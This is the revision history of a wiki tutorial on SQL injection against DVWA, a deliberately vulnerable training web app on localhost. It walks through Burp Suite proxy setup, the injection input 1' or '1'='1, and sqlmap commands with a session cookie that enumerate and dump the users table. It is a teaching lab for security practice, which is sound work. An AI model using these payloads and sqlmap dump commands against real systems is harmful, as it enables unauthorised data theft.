SQli with Damn Vulnerable Web App (DVWA) - Revision history

MPfrendl: added new screenshots and updated screenshots of newer burp suite version

2024-12-18T20:59:26Z

added new screenshots and updated screenshots of newer burp suite version

← Older revision		Revision as of 20:59, 18 December 2024
Line 11:		Line 11:
	To start intercepting web traffic, you have to set the proxy of the browser to 127.0.0.1:8080. The proxy listener is by default configured on 127.0.0.1:8080 in burp suite.		To start intercepting web traffic, you have to set the proxy of the browser to 127.0.0.1:8080. The proxy listener is by default configured on 127.0.0.1:8080 in burp suite.

	[[File:~~Proxy 4~~.png]]		[[File:DVWA_SQLi4.png]]

	== Browser ==		== Browser ==
Line 36:		Line 36:
	# Click '''OK''' to save the settings.		# Click '''OK''' to save the settings.

	[[File:FirefoxProxySettings1.png\|Proxy Settings in Firefox]]		[[File:FirefoxProxySettings1.png\|700px\|Proxy Settings in Firefox]]

	=== Configuring Localhost Traffic ===		=== Configuring Localhost Traffic ===
Line 46:		Line 46:
	# Set this preference to '''true''' by double-clicking on it or using the toggle button.		# Set this preference to '''true''' by double-clicking on it or using the toggle button.

	[[File:FirefoxProxySettings2v3.png\|Proxy Settings in Firefox]]		[[File:FirefoxProxySettings2v3.png\|700px\|Proxy Settings in Firefox]]

	== SQL Injection ==		== SQL Injection ==
Line 56:		Line 56:
	This will deliver all users stored in the database as the condition is always true.		This will deliver all users stored in the database as the condition is always true.

	[[File:~~demo2~~.png]]		[[File:DVWA_SQLi1.png]]



	Afterwards when switching to burp suite tab "Proxy" -> History you will see that the request has been captured. Within the request the "PHPSESSID" will be included as part of the cookie.		Afterwards when switching to burp suite tab "Proxy" -> History you will see that the request has been captured. Within the request the "PHPSESSID" will be included as part of the cookie.

	[[File:~~demo3~~.png]]		[[File:DVWA_SQLi3.png]]



	With this sessionid it is possible to connect to database and get further information with the help of a third tool called "sqlmap". To get the databases within DBMS system use the following command:		With this sessionid it is possible to connect to database and get further information with the help of a third tool called "sqlmap". To get the databases within DBMS system use the following command:
Line 67:		Line 71:

	[[File:demo4.png]]		[[File:demo4.png]]



	To retrieve the tables of a specific database for example dvwa database. Replace the "--dbs" option with the "--tables" and "-D" option and define the database.		To retrieve the tables of a specific database for example dvwa database. Replace the "--dbs" option with the "--tables" and "-D" option and define the database.
Line 74:		Line 80:

	[[File:demo5.png]]		[[File:demo5.png]]



	Furthermore, it is possible to see the database schema from database "dvwa" as well by executing the following command:		Furthermore, it is possible to see the database schema from database "dvwa" as well by executing the following command:
Line 81:		Line 89:

	[[File:demo6.png]]		[[File:demo6.png]]



	At the end to get to the sensitive data the attacker will execute the command:		At the end to get to the sensitive data the attacker will execute the command:

	sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --dump -D dvwa -T users		sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --dump -D dvwa -T users

MPfrendl at 20:49, 18 December 2024

2024-12-18T20:49:09Z

← Older revision		Revision as of 20:49, 18 December 2024
Line 46:		Line 46:
	# Set this preference to '''true''' by double-clicking on it or using the toggle button.		# Set this preference to '''true''' by double-clicking on it or using the toggle button.

	[[File:~~FirefoxProxySettings2v2~~.png\|Proxy Settings in Firefox]]		[[File:FirefoxProxySettings2v3.png\|Proxy Settings in Firefox]]

	== SQL Injection ==		== SQL Injection ==

MPfrendl at 20:47, 18 December 2024

2024-12-18T20:47:27Z

← Older revision		Revision as of 20:47, 18 December 2024
Line 46:		Line 46:
	# Set this preference to '''true''' by double-clicking on it or using the toggle button.		# Set this preference to '''true''' by double-clicking on it or using the toggle button.

	[[File:~~FirefoxProxySettings2~~.png\|Proxy Settings in Firefox]]		[[File:FirefoxProxySettings2v2.png\|Proxy Settings in Firefox]]

	== SQL Injection ==		== SQL Injection ==

MPfrendl at 20:42, 18 December 2024

2024-12-18T20:42:02Z

← Older revision		Revision as of 20:42, 18 December 2024
Line 36:		Line 36:
	# Click '''OK''' to save the settings.		# Click '''OK''' to save the settings.

	[[File:FirefoxProxySettings1.png~~\|thumb~~\|Proxy Settings in Firefox]]		[[File:FirefoxProxySettings1.png\|Proxy Settings in Firefox]]

	=== Configuring Localhost Traffic ===		=== Configuring Localhost Traffic ===
Line 46:		Line 46:
	# Set this preference to '''true''' by double-clicking on it or using the toggle button.		# Set this preference to '''true''' by double-clicking on it or using the toggle button.

	[[File:FirefoxProxySettings2.png~~\|thumb~~\|Proxy Settings in Firefox]]		[[File:FirefoxProxySettings2.png\|Proxy Settings in Firefox]]

	== SQL Injection ==		== SQL Injection ==

MPfrendl: added browser tutorial for proxy setup in firefox

2024-12-18T20:37:04Z

added browser tutorial for proxy setup in firefox

@@ Line 1: / Line 1: @@
-=== Damn Vulnerable Web App (DVWA) ===
+== Damn Vulnerable Web App (DVWA) ==
 Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
@@ Line 6: / Line 6: @@
 * https://github.com/ethicalhack3r/DVWA
-=== Burp suite ===
+== Burp suite ==
 Burp Suite is a tool for performing penetration testing of web applications. With the Burp Suite, administrators can intercept and manipulate HTTP / HTTPS traffic to web applications before it is sent to the server. This enables security gaps in web applications to be discovered quickly and effectively.
@@ Line 13: / Line 13: @@
 [[File:Proxy 4.png]]
 In the DVWA project move to "SQL Injection" and type in the following input as User ID:

MPfrendl: fixed wrong SQLi Command

2024-12-18T17:52:13Z

fixed wrong SQLi Command

← Older revision		Revision as of 17:52, 18 December 2024
Line 16:		Line 16:
	In the DVWA project move to "SQL Injection" and type in the following input as User ID:		In the DVWA project move to "SQL Injection" and type in the following input as User ID:

	1' or 1=1		1' or '1'='1

	This will deliver all users stored in the database as the condition is always true.		This will deliver all users stored in the database as the condition is always true.

MPfrendl at 17:51, 18 December 2024

2024-12-18T17:51:26Z

← Older revision		Revision as of 17:51, 18 December 2024
Line 5:		Line 5:

	* https://github.com/ethicalhack3r/DVWA		* https://github.com/ethicalhack3r/DVWA

	~~Installation:~~

	=== Burp suite ===		=== Burp suite ===

MPfrendl: Created page with "=== Damn Vulnerable Web App (DVWA) === Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment. To Install the DvWA project follow the following page: *..."

2024-12-18T17:37:13Z

Created page with "=== Damn Vulnerable Web App (DVWA) === Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment. To Install the DvWA project follow the following page: *..."

New page

=== Damn Vulnerable Web App (DVWA) ===
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

To Install the DvWA project follow the following page:

* https://github.com/ethicalhack3r/DVWA

Installation:

=== Burp suite ===
Burp Suite is a tool for performing penetration testing of web applications. With the Burp Suite, administrators can intercept and manipulate HTTP / HTTPS traffic to web applications before it is sent to the server. This enables security gaps in web applications to be discovered quickly and effectively.

To start intercepting web traffic, you have to set the proxy of the browser to 127.0.0.1:8080. The proxy listener is by default configured on 127.0.0.1:8080 in burp suite.

[[File:Proxy 4.png]]

In the DVWA project move to "SQL Injection" and type in the following input as User ID:

1' or 1=1

This will deliver all users stored in the database as the condition is always true.

[[File:demo2.png]]

Afterwards when switching to burp suite tab "Proxy" -> History you will see that the request has been captured. Within the request the "PHPSESSID" will be included as part of the cookie.

[[File:demo3.png]]

With this sessionid it is possible to connect to database and get further information with the help of a third tool called "sqlmap". To get the databases within DBMS system use the following command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=<e.g. medium>; PHPSESSID=<SessionID>" --dbs

[[File:demo4.png]]

To retrieve the tables of a specific database for example dvwa database. Replace the "--dbs" option with the "--tables" and "-D" option and define the database.

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --tables -D dvwa

[[File:demo5.png]]

Furthermore, it is possible to see the database schema from database "dvwa" as well by executing the following command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --columns -D dvwa -T users

[[File:demo6.png]]

At the end to get to the sensitive data the attacker will execute the command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --dump -D dvwa -T users

[[File:demo7.png]]

[[Category:Pentesting]]